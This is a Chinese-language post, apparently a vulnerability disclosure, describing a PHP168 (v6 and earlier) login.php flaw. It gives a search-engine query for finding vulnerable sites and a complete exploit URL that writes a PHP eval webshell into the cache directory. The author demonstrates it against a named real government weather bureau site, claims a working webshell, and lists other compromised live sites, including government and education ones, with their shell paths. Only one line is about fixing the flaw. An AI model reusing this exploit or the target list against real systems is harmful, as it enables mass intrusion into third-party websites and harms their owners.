PHP168 6.0及以下版本login.php存在重大安全漏洞下载

问题很大，最好不要忽视。。。。利用代码将php木马插入到cache/目录里轻松获得webshell，可批量。

利用搜索引擎搜索

Powered by php168 v6或者一下版本v5、v4、v3、v2、v1会搜索到很多很多相关的网站

由于漏洞是因为login.php文件对于变量过滤不严所造成的，因此我们无需想方设法的去破解密码，而只需将黑客获取网站webshell的利器“一句话木马”写入到网站中就可以了。

我们随便找网站测试



就用德州气象局的吧。。。

http://www.dzqxj.com/



在其域名后加上这样一段代码：login.php?makehtml=1&chdb[htmlname]=wooyun.php&chdb[path]=cache&content=<?php%20@eval($_POST[wooyun]);?>。这段代码的意思利用login.php文件将<?php%20@eval($_POST[wooyun]);?>这段代码写入到网站缓存目录cache的wooyun.php文件中。“<?php%20@eval($_POST[wooyun]);?>”就是一句话木马的服务端。



那么URL就是http://www.dzqxj.com/login.php？makehtml=1&chdb[htmlname]=wooyun.php&chdb[path]=cache&content=<?php%20@eval($_POST[wooyun]);?>

然后点击回车



如果跳转到登陆界面的话就有可能已经将木马写入到了cache目录里了

这时我们进入木马地址看看http://www.dzqxj.com/cache/wooyun.php

OK，什么都不显示就说明一句话木马写入成功,我们连接上工具看看

成功拿到webshell



也可以直接上传大马，我就不演示了。



其他网站也存在该漏洞



而且还有很多政府、教育的站点。。。。



http://lib.xjau.edu.cn/cache/wooyun.php密码*****(不公布了)

http://www.stepdo.com/cache/wooyun.php密码****(不公布了)

漏洞修复方法：赶紧的把版本升级啊，不然多少站会被批量入侵啊